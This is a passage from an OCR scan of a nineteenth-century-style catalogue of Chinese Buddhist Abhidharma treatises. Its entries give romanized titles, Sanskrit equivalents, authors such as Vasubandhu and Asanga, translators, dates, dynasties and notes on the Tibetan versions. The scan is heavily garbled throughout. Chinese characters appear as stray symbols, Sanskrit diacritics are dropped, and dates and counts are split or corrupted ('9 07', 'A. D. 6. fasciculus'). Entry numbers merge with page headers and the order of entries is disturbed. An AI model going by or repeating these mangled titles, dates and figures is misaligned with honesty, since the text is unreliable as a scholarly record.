p .Pan-zo-tan-lun.' P.ragrycdipa-sstra.'Pragpradpa-sstra-krika (or -vykhy?).Conc. 402. Composed by the Bodhisattvas Ngr-guna and Nirdesaprabha (`l ' distinct-brightness,' oarPiiigalanetra), the latter explaining 500 verses of theformer. Translated by Prabhkaramitra, A. D. 63 0-63 2, of the Thii i dynasty, A. D. 618-9 07. 15 fasciculi;27 chapters. Deest in Tibetan. K'-yuen-lu, fasc. 8,fol. 27 b, where it is stated that Nagrguna's text isthe same as that of No. i17 9 , and this commentaryis different from that of No. 1179 . But No. 1185 maybe a later and fuller translation of No. 1179 .1186^' 7 P9 -.Shi-'rh-man-lun.Dvdasanikaya (or -mukha)-sstra:Conc. 69 . Composed by the Bodhisattva Ngr-guna. Translated by Kumragva, A. D. 408, of the_Latter Tshin dynasty, A. D. 3 84-417. I fasciculus.1187A pShi-pa-khun-lun.Ashtdasaksa (or dasa-siinyat)-sstra.Cone. 79 . Composed by the Bodhisattva Ngr-guna. Translated by Paramrtha, A. D. 557 -569 , ofthe Khan dynasty, A. D. 557 -589 . r fasciculus.1188p ^.Pi-lun.Sata-sstra.Eitel, Handbook, p. 126 b. r ,mposed by the Bodhi-sattvas Deva and Vasubandha, the latter explainingthe text of the former. Translated by Kumraglva,A. D. 404, of the Latter Tshin dynasty, A. D. 3 84-417.2 fasciculi; 10 chapters.11. 89
tKwfi-pi-lun-pan.Sata-sstra-vaipulya.Eitel, Handbook, p. 126 b. Composed by the Bodhi-sattva Deva. Translated by Hh:en- kwilii (Hiouen-thsang), A. D. 650, of the Thtin dynasty, A. D. 618-9 07.1 fasciculus; 8 chapters.The above four works are wanting in Tibetan.'K'-yuen-lu, fase. 8, fol. 28 a, b.119 0re itTA. -shari-kwas- yen-kin-lun.' R7ahyntaiik . ra-satra-sstra;Sittrlafikrartk.K' - yuen -lu, fasc. 9 , fol. i b ; Cone. 59 1, Composedby the Bodhisattva Asaiiga. Translated by Prabh-karamitra, A. D. 63 0-63 3 , of the Th aft dynasty, A. D.618,9 o7. 1 3 fasciculi; 24 chapters. It agrees withTibetan. K'-yuen-lu, s. v.1 19 1rla^pWan-shu-sh'-li-phu- s-,van-phi-thi-kin-lun.' Magusr9 -bodhisattva-pariprikkhti-bodhi-siltra-sstra,'Gayslrsha-s{itra-tka.This is a commentary on Nos. 23 8-241, compiledby the Bodhisattva Vasubandhu. Translated by Bodhi-ruki, . A. D. 53 5, of the Northern . WOdynasty, A. D.3 86-53 4. 2 fascic, li. ,S2263 ABHIDHAR:VrA-PITAKA. 264119 2f^l`. . .Kin-kn-pan-zo- po-lo-mi-Iciii-po-tsh-ku-pu-hwi-ki-min-lun. _V agra(kkhedika) - praggaparamita-sfltra-castra, on the refutationof grasping and attachment to the. undestroyed and artificial name.'Composed by the Bodhisattva Gunada (4). Trans-lated by Divkara, A. D. 683 , of the Thin dynasty,A. D. 618-9 07. 2 fasciculi. Deest in Tibetan. K'-yuen-lu, fasc. 8, fol. 23 b. For the Stra, see Nos.I0-15.119 3 . fit u fit It PShan-sz'-wi-fan-thien-su-wan-kin-lun.Viseshakinta-brahmana (or -brahma)-pari-prikkh-stra-tk (or -sstra).K'-yuen-lu, fasc. 8, fol. 24 b; Conc. III. This is acommentary on Nos. 189 , 19 0, compiled by the Bodhi-sattva Vasubandhu. Translated by Bodhiruki, A. D.531 , of the Northern Wi dynasty, A. D. 3 86-53 4.3 fasciculi.119 4Shi-ti-kiii-lun.Dasabhmika(-stra)-sstra.K'- yuen-lu, fasc. 8, fol. 21 b; Conc. 9 1. This is acommentary on Nos. 87 (chap. 22), 88 (chap. 26), 105,I I o, compiled by the Bodhisattva Vasubandhu. Trans-lated by Bodhiruki, A. D. 508-511, of the NorthernWi dynasty, A. D. 3 86-53 4. I2 fasciculi.119 5ifaFo-ti-kin-lun.Biiddhabhmi-stra-sstra.. K'-yuen-lu, fase. 8, fol. 2 2 b; Cone. 17o. This is acommentary on No. 502, compiled by the BodhisattvaBandhuprabha (I or Prabhmitra, see Conc. i70) andothers. Translated by Hhen-kw (Hiouen-thsang),A. D. 649 , of the Thin dynasty, A. D. 618-9 07.ry fasciculi.The above three works agree with Tibetan. K'-yuen-lu, s. v.119 6 ==- Z%'"'ta *San-k-tau-kiii. -yiu-po-thi-sh.' Triprna-stropadesa.'Composed by the Bodhisattva Vasubandhu. Trans-lated by the Rishi Vimokshapraga ('1) Ind others, A. D.541, of the Eastern Wi dynasty, A. P. 53 4-55o.I fasciculus. Deest in Tibetan. K'-yuen-lu, fase. 8,fol. 25 . b.1 1 97Shan-wi-shi-lun.Vidyamtrasiddhi(. sitstra). .Eitel, Handbook, p. i 66' a. Compiled by the Bodhi-sattva Dharmapla and (nine) others. Translated byHhen-kw (Hiouen-thsang), A. D. 659 , of the Thdynasty, A. D. 61:8-9 07. 10 fasciculi. This is thefamous commentary on No. 1215, but the Sanskrittext is said to have consisted of ten different commen-taries on the same text, No. 1 21 5, by as many differentauthors. This translation is an abstract of the tencommentaries mixed together, which was made ' bythe translator. See the preface by Khan Hhen-mi,a contemporary of the translator. ' In the TibetanCatalogue, No. 1 1 9 7 is said to agree with the Tibetanversion, but the latter is not found. ' , K'-yuen=lu,fasc. 9 , fol. 7 a.1 1 98 Kwn-pi-lun-ship-lun.Vaipulya-rata-castra-vy akhy .'Composed by the Bodhisattvas Deva and Dharma-pila, the latter explaining 'th text of the former, i. e.No. 1189 . Translated by Hhen-kw (Hiouen-thsang),A. D. 650, of the Than dynasty, A. Dif-618-9 o7. to fas-ciculi ; 8 chapters. Deest in Tibetan. K'-yuen-lu,fasc. 9 , fol. i a.119 9 * IN AT-ahan--phi-t-mo-tai-lun. 'Mahynbhidharma-sang ti=sstra.Eitel, Handbook, p. 68 b. Composed by the Bodhi-sattva Asaga. Translated by Hhen-kw (Hiouen-thsang), A. D. 652, of th Thin dynasty, A. D. 618-9 07.7 ' fasciculi ; 2 divisions ; 8 chapters.1200 3 IEWan-f -ka-li-lun. Ragadharma-nyaya-castra. 'Composed (or spoken I) by the Bodhisattva Maitreya.Translated by Hhen-kw (Hiouen-thsang), A. D. 649 ,of the Thin dynasty, A. D. 618-9 07. i fasciculus.This translation is, similar to No. 1170, second division,second Bhmi. K'-tsi, fasc. 3 7 i fol. 15 a.265ABHIDHARMA. -PITAItA,1201 Yti-ki-sh'- ti-lun-shih.Yogkryabhflmi-sstra-krika (or -vykhy).Conc. 877. This is a brief commentary on No. 1170,compiled by the Bodhisattva Ginaputra and others.Translated by Hhen-kwli (Hiouen-thsang), A. D. 654,of the Thli dynasty, A. D. 618-9 07. I fasciculus,1202 E *tpHhien-yn-shall-kio-lun. -sun. dPrakaranryavk (?)-afstra-krik' AComposed by the Bodhisattva Asanga. Translatedby Hhen=kw (Hiouen-thsang), A. D. 645, of theThin dynasty, A. D. 6I8-9 o7. 1 fasciculus. 'This isthe collection of the verses of No. 1 1 77.1 203 . ` 0"Mi-l-phu-s-su-wan-kiii-lun. Maitreya-bodhisattva-pariprikkh-sfltra-sstra. 'This is a commentary on Nos. 23 (4,), 54, but thecompiler's name is unknown. Translated by Bodhiruki,A. D. 508-53 5, of the Northern Wi. dynasty, A. D.3 86-53 4. 7 fasciculi.The above five works are wanting in Tibetan.K'-yuen-lu, fasc. 8, fol. 2 2 a seq.1 204Wu-lin-sheu-kin-yiu-po-thi-sh.' Amityus-sfltrpadesa. 'Aparimityus-settra-sstra.K'-yuen-lu, fasc. 8, fol. 25 a; Conc. , 83 2. This is ashort treatise on Nos. 23 (5),. 25, 26, 27, 863 , composedby the Bodhisattva-Vasubandhu. Translated by Bodhi-ruki, A. D. 529 , of the Northern Wi dynasty, A. D.3 86-53 4. 9 leaves. It agrees with Tibetan. K'-yuen-lu, s. v. On account of the authorship of No. 1204)Vasubandhu is hooked upon as the second patriarch inteaching the doctrine of . Amityus or Amitbha,Ngrguna being the first.1 206 ^ ^ ` ^-
^^^:^,,,^,^NI ^Kwn-f-lun-kin-yiu=po-thi-sh.' Dharmakakrapravartana-sfltropadeaa. 'Composed by the Bodhisattva VasubanAhu. ' trans-lated by the Rishi Vimokehapraga (I) and others,A. D. 541, of the Eastern W@i dynasty, A. D. 53 4-5501 2 leaves.1206 T-pn-ni-phn-kin-lun.' MahAparinirv&na-sfltra,aastra. 'Nirvna-sstra.Wassiljew, p. 1 49 . This is a short commentary onNos. I 13 , 114, '120, compiled by the Bodhisattva Vasu-bandhu. Translated by Dharma podhi, of the Northernor Eastern Wi dynasty, A, D. 3 86-550. 12 leaves.1207 ^^' ^^*+ ,'l'^ . %^,,;.Ni-phn-kin-pan-yiu-kin-wu-ki -lun.Nirvna-sutra-prvabbtotpannbhflta(?)-gth-sstra,' or 'Sstraon the. Gth on th state of being formerly existing and nowextinct (etc. ) in the Nirvna-antra (No. 11 3 , fasc. 17). 'Composed by the Bodhisattva Vasubandhu. Trans-lated by Paramrtha, A. D. 55o, of the Lid dynasty,A. D. 502-557. 7 leaves.The above three works are wanting in Tibetan.K'-yuen-lu, fasc. 8, fol. 24 b seq.1208 jig 4'. Ng S g r^^pHH 441Nais-twn-kin-kn-pn-zo-po-lo-mi-to-kin-lun-sun.' Vagrakkhedik-pragfipramit-sutra-sstra-gth (or -krik). 'Composed by the Bodhisattva Asanga. Translatedby I-tsi, A. D. . 711, of the Th dynasty, A. D. 618-9 07. 6 leaves. This is the collction of 77 verses. explained in No. 123 1.1209 a a ^wI-kio-kin=lun. Sstra on the Stara of (Buddha's) last teaching (No. 122):Composed by the Bodhisattva Vasubandhu. Trans-lated by Paxamrtha, A. D. 557-569 , of the Khandynasty, A. D. 557-589 . 1 fasciculus. . Deest in Tibetan.K'-yuen-lu, fasc. 8, fol. 25 a.1 21 0 Ap ` twl "Shan-wi-shi-po-shan-lun. VidymZtrasiddhi-ratnagti-sstra. 'This is a commentary on Nos. 123 8, 123 9 , 1240,compiled by the-Bodhisattva Dharmapla. Translatedby I-tsili, A. D. 710, of the Than dynasty, A. D. 61 8-9 07 . 5 fasciculi. Deest in Tibetan. K'-yuen-lu, fasc. 9 ,fol. 7 a.Vit267ABHIDHARMA-PITAKA,2681211 + -* MOMShi-'rh-yin-yuen-lun.' Dvadasa-nidana-sstra.'Pratityasamutpda-sstra.K'-yuen-lu, fasc. . 9 , fol. Io b; Conc. 68. Composedby the Bodhisattva Suddhamati. Translated by Bodhi-ruki, A. D. 508-53 5, of the Northern Wi dynasty, A. D.3 86-53 4- 4 leaves. It agrees with Tibetan. K'-yuen-lu, s. v..^LI -Yi-shu-lu-ki-lun.' Ekasloka-sdstra.'Composed by the Bodhisattva Ngrguna. Trans-.lated by Gautama Prag9 aruki, A. D. 53 8-543 , of theEastern Wi dynasty, A. D. 53 4-550. 4 leaves. Deestin Tibetan. K'-yuen-lu, fasc. 9 , fol. io b.1213
E PTi-sha-pi-fa-rain-man-lun.' Mahayana-satadharmavidyadvara-sstra'Composed by the Bodhisattva Vasubandhu. Trans-lated by Hhen-kw (Hiouen-thsang), A. D. 648, ofthe Th dynasty, A. D. 618-9 07. z leaves. This isa list of the technical terms used in the first divisionof No. 117o. It agrees with Tibetan. K'-yuen-lu,fasc. 9 , fol. 12 a.1214 aKwn-shi-lun.' Vidyapravartana-sastra.'Author's name unknown. Translated by Para-mrtha, A. D. 557-569 , of the Khan dynasty, A, D.557-58 9 . 8 leaves. Deest in Tibetan. K'- yuen-lu,fasc. 9 , fol. 6 a.1215p HWi-shi-sn-shi-lun.Vidyamtrasiddhi-tridasa-sstra (or -trimsak-khstra)-krik.Eitel, Handbook, p. 166 a. Composed by the Bodhi-sattva Vasubandhu. Translated by Hhen-kw(Hiouen-thsang), A. D. 648, of the Than dynasty, A. D.618-9 07. 6 leaves. It consists of 3 0 verses explainedin No. 119 7. It agrees with Tibetan. K'-yuen-lu,fasc. 9 , fol. 6 b.1216MYin-mi-zi-lea-li-lun.Hetuvidya-nyayapravesa-sstra.Nyyapravesatraka-sstra.K'-yuen-lu, fasc. 9 , fol. 5 b; Conc. 225. Composedby the Bodhisattva Sakarasvmin (cf. the commentaryon No. 1216, fasc. I, fol. 6 a, by Kwhi-ki, a discipleof Hiouen-thsang). Translated by Hhen-kw (Hiouen-thsang), A. D. 647, of the Thin dynasty, A. D. 618-9 07.6 leaves. It agrees with Tibetan. K'-yuen-lu, s. v.1217PAa Hhien-shi-lun.Vidynirdesa-sstra. 'Author's name unknown. Translated by Para-mrtha, A. D. 557 -569 , of' the Khan dynasty, A. D. 557-569 . i5 leaves. Deest in Tibetan. K'-yuen-lu,fasc. 9 , fol. 6 a.1218Jli'F-phu-thi-sin-lun.' Bodhikittotpadana-sastra. 'Composed by the Bodhisattva Vasubandhu. Trans-lated by Kumragiva, about A. D. 405, of the Latter'Tsin dynasty, A. D. 3 84-417. 2 fasciculi. It agreeswith Tibetan. K'-yuen-lu, fasc. 9 , fol. 9 a.1219 ^^ sSn-wu-si-lun.' Try-alakshana (?)-castra. 'Author's name unknown. Translated by Para-mrtha, A. D. 557-569 , of the Khan dynasty, A. D. 557-589 . 2 fasciculi. Deest in Tibetan. K'- yuen-lu,fasc. 9 , fol. 9 a. The third character of the title issometimes writtensign.1220Fo-si-lun.'Buddha-gotra-sastra,' or ' Sastra on Buddha's nature. 'Composed by the Bodhisattva Vasubandhu. Trans-lated by Paramrtha, A. D. 557 -569 , of the Khandynasty, A. D. 557-589 . 4 fasciculi. Deest in Tibetan.K'-yuen-lu, fasc. 9 , fol. 3 b.1221*. . . , pTi-sha-kha-yeh-lun.' Mahayana-karmasiddha-sastra. 'Karmasiddhaprakarana-sstra.K'-yuen-lu, fasc. 9 , fol. 5 a; Conc. 59 o. Composedby the Bodhisattva Vasubandhu. Translated by Hhen-kwii (Hiouen-thsang), A. D. 651, of the Thin dynasty,A. D. 618-9 07. i fasciculus.Yeh-kha-tsui-lun.Karmasiddhaprakarana-Astra.12121222269 . ABHIDHARMA-PITAKA. 270Conc. 3 9 o. Composed by the Bodhisattva Vasa-bandhu. Translated by. the Rishi Viinokshapraga,A. D. 541, of the Eastern WVi dynasty, A. D. 53 4-550. I fasciculus. It consists of 4,872 Chinese characters.. The above two works are similar translations, andthey agree with Tibetan. K'-yuen-lu, fasc. 9 , fol. 5 a.1223 . ^9 ^-. ^;' ^^pYin-min-kan-li-man-lun. Hetuvidy-nyayadvar-sstra.'Nyyadvratarka-Astra.K'-yuen-lu,fa,sc. 9 , fol. 5 b. Composed by the Bodhi-sattva Ngrguna. Translated by I-tsi, A. D. ' 7 1 I,of the Th dynasty, A. D. 6. fasciculus.1224 IN'
" P9Yin-mini. -kan-li-man-lun-pan.' Hetuvidy-nyayadvara-sstramflla.'Nyyadvratarka-sstra.Cone. 226. Composed by the Bodhisattva N,gr-guna. Translated by Hhiien-kw (Hiouen-thsang),A. D. 648, . of the Th dynasty, A. D. 618-9 07.x fasciculus.The above two works, are similar translations. Theyagree with Tibetan. K'-yuen-lu, fasc. 9 , fol. 5 b.1228' ^ ^MIRE0Tshii-yin-ki-sh-lun.' Prag&pti-hetu-saigraha (?) -sstra.'Composed by the Bodhisattva Gina. Translated byI-tain, A. D. 703 , of the Th dynasty, A. D. 618-9 07.xo leaves.1 229 Kwn-tsun-sin-lun-sun.` Sarvalakshanadhyana-sstra-karik.'Composed by the Bodhisattva 'Gina. Translated byI-tsi, A. D. 711, of the Th dynasty, A. D. 618-9 o7.I leaf.123 0 * P
. ,,,.Liu-man-kio-sheu-si-tin-lun.' Shaddvaropadishta-dhynavyavahra (7)- sstra.'Composed by the Bodhisattvas Asaga and Vasu-bandhu, the latter explaining the text of the former.Translated by I-tsiri, A. D. 703 , of the Th dynasty,A. D. 618-9 07. 12 leaves.The above six works are wanting in Tibetan. K'-yuen-lu, fasc. -9 , fol. 1 o a seq.1225, f9 p 'AA-K'-kwn-man-lun-suri.'. Samatha-vipassan . (or.-vidarsana)-dvara-castra-krika.Composed by the Bodhisattva Vasubancihu. Trans-lated by I-tsili, A. D. 711, of the Th dynasty, A. D.618-9 07. 6, leaves. It consists of 77 verses. Forthe words Samatha and Vipassan, see 'Childers' PliDictionary, pp. ' 429 and 580.1 226Shen-hit-kn. .' Hastadanda-sstra:Composed by the venerable Skyayasas. Translatedby I-tsili, A. D, 711, of the Th ' dynasty, A. D. 618-9 07.8 leaves. It refutes the. heretical belief in the existenceof a newly-born being. K'- tsi, fasc. 3 8, fol. 15, a.1227a t.
Yuen-shan-lun.`. Nidana or prat4tya^ amutpda-sastra:'Composed by the venerable Ullanghya(?). Translatedby Dharmagupta, A. D. 607, of the Sui dynasty, A. D.589 -61 8. 15 leaves.123 1 Ag ni ^. ,1411 M g^1^t'`P Nan-twn-kin-kn-pn=zo-po-lo-mi--kili-lun-shih:Vagrakkhedik-pragpramit-s{ltra-sstra-(-vykhy).Conc. 3 85. ' Composed by the Bodhisattvas Asaligaand Vasubandhu,, the latter explaining the text of theformer (No. 1208). Translated by I-tsili, A. D. 71 I,of the Th dynasty, ' A, D. 618-9 07. . 3 fasciculi. Thisis a later translation of No. 1168, without quoting theSfltra. K'-yuen-lu, fasc. 8; fol. 23 b; K'-tsi, fasc. 3 4,fol. 9 b. There is an appendix, added by I-tsi, which isentitled 'Alaudatory explanation of the last verse. (iiithe Stra) which briefly illustrates the Prag,' in 5leaves. This appendix is mentioned in, the originalCatalogue (T-min-sn. -ts-shah-kio-mu- a, fasc. 3 ,fol. 15 b, col. 2) as an independent work, so as to bereckoned No. 1 2 3 2. But it is merely the translator'sown composition added to No. I23 1 ; so that it is notmentioned separately in this Catalogue. Cf. K'-tsi,fasc. 3 4, fol. 9 b.271 ABHIDHARIVIA-PITAKA. 272123 2 I*Vit ^^Mio-f^,-lien-hw-kili-yiu-po-tl^-sh.Saddharmapundartka-stropadesa.Saddharmapundarfka-sutra-sstra.K'-Yuen-lu, fasc. 8,. fol. 24 a; Conc. 13 0. This is acommentary on Nos. 13 4, 1 3 8, 13 9 , compiled by theBodhisattva Vasubandhu. Translated by Bodhiruki,together with Thin-lin and others, A. D. 508-53 5, ofthe Northern Wi dynasty, A. D. 3 6-534. 2 fasciculi.1 233a Mio-f . -lien-hw- ; : -lun-yiu-po-thi-sh.' Saddharmapundartka-stra-sastropadesa;Saddharmapundarf ka-sutra-sstra.Conc. 3 55. This is the same commentary as No.123 2. Translated by Ratnamati, together with Sari-li, A. D. 508, of the Northern Wi dynasty, A. D. 386-53 4 . z fasciculi,Th above two works are similar translations. Theyagree with Tibetan. K'-yuen-lu, fasc. 8, fol. 24 a, b.* g' T-po-tsi-kin-lun.Maharatnakdta-stra-s.str.'Ratnak{ita-sstra.K'-Yuen-lu, fasc. 8, fol. 22 a; Conc. 580. This is acommentary on the forty-third Stra of No. 23 (fasc.I I 2 ), but the author's name is unknown. Translatedby Bodhiruki, A. D. 508-53 5, of the Northern Widynasty, A. D. 386-53 4. 4 fasciculi. It agrees withTibetan. K'-yuen-lu, s. v. ; K'-tsi, face. 3 .4, fol. 4 b.1 235
p;.Ki-ti-ts-lun.Vinirntta (?) -pitaka-sstra.'Spoken by the Bodhisattva Maitreya. Translatedby Paramrtha, A. D. 557 -569 , of the Khan dynasty,A. D. 557-589 . 3 fasciculi. This is an earlier trans-lation of No. 117o, second division, first Bh4mi. K'-tsi, fase. 3 7, fol; 1 4 b. But according to the K'-yuen-lu(fasc. 9 , fol. 4 a), the author's name is lost, and thiswork is wanting in Tibetan,123 6
p. ,.Kiu- . kin-yi-sha-po- si-lun.` Uttaraikayfnaratnagotra (?) -aastra.'Mahynottaratantra-sstra.K. '-yuen-lu, fase. 9 , fol. 4 b;. Cone. 281. Author'sname unknown. Translated by Ratnamati, A. D. 5o8,of the Northern Wi dynasty, A. D. 3 86-53 4. 5 fas-ciculi ; I i chapters. The first fasc. is the text, . and therest a commentary. K'-tsi, fasc. 3 8, fol. Io a.123 7^p`T-sha-k-kan-lun.' Mahayanatlaratna-stra:Composed by the Bodhisattva Bhavaviveka. . Trans-lated by Hhen-kw&A(Hiouen-thsan6 A. D. 643 , ofthe Thin dynasty, A. D. 618-9 07. 2 fasciculi. Deestin Tibetan. K'-yuen-lu, fasc. 9 , fol. 8 a.123 8. *; DoT-sha-la-ki-kiti-wi-shi^lun.Mahayanalaiika (- avatara) - stra-vidyamtra-ststra.'Vidymtrasiddhi.K'-yuen-lu, fase. 9 , fol. 6 a ; Conc. 79 3 . This is atreatise on Nos. 175, 176, 17,7, composed by the Bodhi-sattva Vasubandhu. Translated by Bodhiruki, A. D.508-53 5, of the Northern Wi dynasty, A. D. 3 86-53 4.1 fasciculus; 24 leaves. For the Stra, see Nos. 175,176, 177,1 239* ^ ' :"pH oT-sha-wi-shi-lun.` Mahayana-vidyamatra-aastra. 'Vidymtrasiddhi.Composed by the Bodhisattva Vasubandhu. Trans-lated by Paramirtha, A. D. 557-569 , of the Khandynasty, A. D. 557-589 . 14 leaves.1 240Wi-shi-'rh- shi-lun.` Vidyamatra-vimaati (-gath$)-sastra.'Vidymtrasiddhi.Composed by the Bodhisattva Vasubandhu. Trans-lated by Hhen-kw (Hiouen-thsang), A. D. 661, ofthe Thin dynasty, A. D. 618-9 07. I I leaves.The above three works are similar translations.They agree with Tibetan. K' - yuen-lu, fasc. 9 , fol. 6 b.1241 I 41ittit 4g-^uPo-ki-ki-sz'- f-yiu- po-thi-sh.' Ratnahda-stra-katurdharmopadesa:This is a treatise on No. 23 (47), composed by theBodhisattva Vasubandhu. Translated by the RishiYimokshapraga, A. D. 53 9 or 541, of the Eastern Widynasty, A. D. 53 4-550. 13 leaves. It consists of 4,9 9 7Chinese characters. Deest in Tibetan. K'-yuen-lu,fase. 8, fol. 22 b.1 2341 249g I^' 273ABHIDHARMA-PITAKA.2741 247g^. . ^p,^; 1 242T-ka-fu-lun.Mahpurusha-sstra.K'-yuen-lu, fasc. 9 , fol. 7 b; Conc. 652. Composedbq the Bodhisattva Devala (or Deva I). Translated byno-thai,, of the Northern Lib!). dynasty, A. D. 3 9 7-43 9 .2 fasciculi; 29 chapters. It agrees with Tibetan.K'-yuen-lu, s. v.1 243*Zu-t-sha-lun.' Mahynvatraka-sdstra.'Composed by the Bodhisattva Sthiramati. Trans-lated by Tao-thi, of the Northern Li dynasty, A. D.3 9 7-43 9 . 2, fasciculi; 3 chapters. Deest in Tibetan.K'-yuen-lu, fast. 9 , fol. 7 b.Sh-t-sha-lun-pan.' Mandy anasamparigraha-sstramilla.'Composed by the Bodhisattva Asaga. Translatedb Hhen-kwa (Hiouen-thsang), A. D. 648-649 , of theTh dynasty, A. D. 618-9 07. 3 fasciculi ; 11 divisions.This is a later translation of Nos. 1183 and 1184.K'-yuen-lu, fasc. 9 , fol. 2 b.Ku-pien-fan-pieh-lun.Madhyntavibhga-sstra.Composed by the Bodhisattva Vasubandhu. Trans-lated by Paramrtha, A. D. 557-569 , of tip Khandynasty, A. D. 557-589 . 2 fasciculi; 7 chapters. ,Thisis an earlier translation of No. 12 44. K'-yuen-lu,fasc. 9 , fol. 4 b.1 2481 244,
pPien-ku-pien-lun.Madhyntavibhga-sstra.Conc. 455. Composed by the. Bodhisattva Vasu-bandhu. Translated by Hhen-kw (Hiouen-thsang),A. D. 661, of the Than dynasty, A. D. 618-9 07. 3 fas-ciculi ; 7 chapters. Deest in Tibetan. K'-yuen-lu,fasc. 9 , fol. 4 b.1 245Pien-ku-pien-lun-su.Madhyntavibhga (-sstra)-grantha.K'-yuen-lu, fasc. 9 , fol. 4 a ; Cone. 454. Composed(or spoken) by the Bodhisattva Maitreya. Translatedby Hhen-kw (Hiouen-thsang), A. D. 661, of theThai' dynasty, A. D. 618-9 07. 9 leaves; 7 chapters.It consists of verses, being the text of Nos. 1244 and1248. It agrees with Tibetan. K'-yuen-lu, s. v.JE 114Shun-ku-lun.` Madhyntnugama-sstra.'Composed by the Bodhisattvas Ngrguna andAsaga, the latter explaining the text of the former.Translated by Gautama Prag laruki, A. D. 543 , of theEastern Wi dynasty, A. D. 53 4-550. 2 fasciculi. ' Itconsists of 13 ,727 Chinese characters. Deest in Tibetan.K'-yuen-lu, fasc. 9 , fol. 2 a. No. 1246 treats of thedoctrine of the first Varga of the Mahipragfaparamit-stra (No. 1). K'-tsili, fasc. 3 8, fol. 7 a.T-sha-khi-sin-lun.' Mahayana-sraddhotpda-sstra.'Composed by the Bodhisattva Aavaghosha. Trans-lated by Sikshananda, A. D. 69 5-70o, of the Thridynasty, A. D. 618-9 07. i fasciculus; 28 leaves.1250 The same title as No. 1249 .Translated by P'aramartha, A. D. 553 , of the Lidynasty, A. D. 502-557. 2 fasciculi.The above two works are similar translations, andthey are wanting in Tibetan. K'-yuen-lu, fasc. 9 ,fol. 8 b. Towards, the end of this Sstra, svaghoshaquotes a Stra (probably the Amitayus-stra or Sukh-vatt-vyha) on Buddha Amityus or Amitbha and hisBuddhakshetra Sukhavatt.12511 4Hwui. . ka-lun.' Vivdasamana (9 - sstra.'Composed by the Bodhisattva Nagrguna. Trans-lated by the Bishi Vimokshapraga and others, A. D.541 , of the Eastern Wi dynasty, A. D. 53 4-550.1 fasciculus; 3 . 7 leaves. It consists of 11,09 8 Chinesecharacters. . . Deest in Tibetan. K'-yuen-lu, fasc. 9 ,fol. 1 o a.Zu-shih-lun.Tarka-sstra.'K'-yuen-lu, fasc. 9 , fol. 9 b; Conc. 245. Composedby the Bodhisattva Vasubandhu. Translated by Para-T1 2461 252275ABHIDHARMA-PITAKA. 276martha, A. D. 55o, of the Khan dynasty, A. D. 557-589 .I fasciculus ; 3 chapters: It agrees with Tibetan.K'-yuen-lu, s. v.aPo-hhiii-w-ka-lun.`Ratnakaryaragadharma (?)-sastra. 'Author's name unknown. Translated by Para-mrtha, A, D. 557-569 , of the Khan dynasty, A. D. 557-58e. I iasciculus; 5 chapters. Deest in Tibetan.K'-yuen-lu, fa,so. 9 , fol. 8 b.1254
Fi-taz'- lun.` Satkshara-sstra::Composed by the Bodhisattva Deva. Translated byBodhiruki, A. D. 508-53 5, of the Northrn Wi dynasty,A. D. 3 86-53 4. Io leaves.1 255:"0Ki-khiien-lun.` Mnshei-prakarana (3 )-sastra. 'Composed by the Bodhisattva Gina. Translated byParamrtha, A. D. 557-569 , of the Khan dynasty, A. D.557-589 . I fasciculus; 3 chapters.Kan-ku-lun.' Talantaraka (?)-castra. 'Composed by the Bodhisattva Gina. Translated byI-tsi, A. D. 703 , of the Than dynasty, A. D. 618-9 07.3 leaves.The above three works agree with Tibetan. K'-yuen-lu, fasc. 9 , fol. 1 2 a, b.1257i JOFitt-pien-sin-lun.` Upayakausalyahridaya-castra'Composed by the Bodhisattva Ngrguua. Trans-lated by Ki-ki-ye, together with Than-yao, A. D. 472,of the Northern . Wi dynasty, A. D. 3 86-53 4. I fas-ciculus ; 4 chapters. Deest in Tibetan. K'- Yuen-lu,fasc. 9 , fol. 9 a.1258 *,,,;. 3 J11Th-sha-5,-E8-wu-kh-pieh-lun.' Mahayana-dharmadhatv-aviseshat (?)-sastra. ' Composed by the Bodhisattva Sthiramati. Trans-lated by Devapraga and others, A. D. 69 1, of the Thdynasty, A. D. 618-9 07. 8 leaves. Deest in Tibetan.K'-yuen-lu, fasc. 9 , fol. II b.1259 a =, : #51 fhliThi-pho-phu-s- po-la-ki-kin. -kuii-wi-to-^io-shah. -sz' -tsu-lun.`Sastra by th Bodhisattva Deva on the refutation of four hereticalHinayana schools mentioned in the Lanka (-avatara)-sntra'Translated by Bodhiruki, A. D. 5o8-53 5, of theNorthern Wi dynasty, A. D. 3 86-53 4. 6 leaves. Thefollowing are the four schools : I. The. Srikhyas, whobelieve in oneness. 2. The Vaiseshikas, in difference.3 . The Nirgrantha-putras, , in both. 4. The Gii ti-putras, in neither. See K'-tsili, fasc. 3 8, fol. 14. b.For the Stra, see Nos. 1759 1 7 6, 177.1 260 latT 01a AN ff a 41Thi-pho-phu- s-shih-la-ki-kin-kuii-wi-to-sio-shah-ni-phn-lun.`Sastra by the Bodhisattva Deva on the explanation of the Nirvanaby (twenty) heretical Hinayana (teachers) mentioned in theLanka (-avatara)-antra;Translated by Bodhiruki, A. D. 508-53 5, of theNorthern Wi dynasty, A. D. 3 86-53 4. 6 leaves. Thefollowing is a list of the twenty teachers :(1) The teacher of the Sastra of the Hinayana heresy.(a) That of the direction or point of the compass.th wind Rishi.the Vedas.the Gati-putras.the naked heretics.the Vaiseshikas.the painful practice.the women (regarded) as the members of a family(?).practising the painful practice.the pure eye.the Madras (?).the Nirgrantha-putras.the Sakhyas.Mahesvara.the absence of cause. .time,drinking water.the power of the mouth.the Andngataka, or ' the original birth from an egg. 'The above two works agree with Tibetan. K'-yuen-lu, fasc. 9 , fol. 1 2 b.1 2531 256(3 )(4)(5)(6)(7)(8)(9 )(so)(,1)(i a)(13 )(14)(15)(16)(17)08)(i9 )(20)/ ^^ ^f^^ ^,^^ ^1// ^, ^^ 11 ^^ 1111261SSz'- ti-lun.Katursatya-sstra.Conc. 554. Composed by the venerable Vasuvar-man. Translated by amrtha, A. D. 557-569 , ofthe Khan dynasty, A. L 557-589 . 4 fasciculi ;6 chapters.1 1 1277 ABHIDHARMA-PITAK. A. 278PART II.Sio-sha-lun, or the Abhidharma of the Hinayana1262w'Phi-k'-fo-yin-yuen-lun.Pratyekabuddha-nidna-sstra.Conc. 447. Author's name unknown. Translatedunder the (three) . Tshin dynasties, A. D. 3 50-43 1; butthe translator's name is lost. 1 fasciculus ; 26 leaves.This work gives eight Nidnas or Avdanas.The above two works are wanting in Tibetan. K'-yuen-lu, fasc. 9 , fol. 23 b seq.1 263=
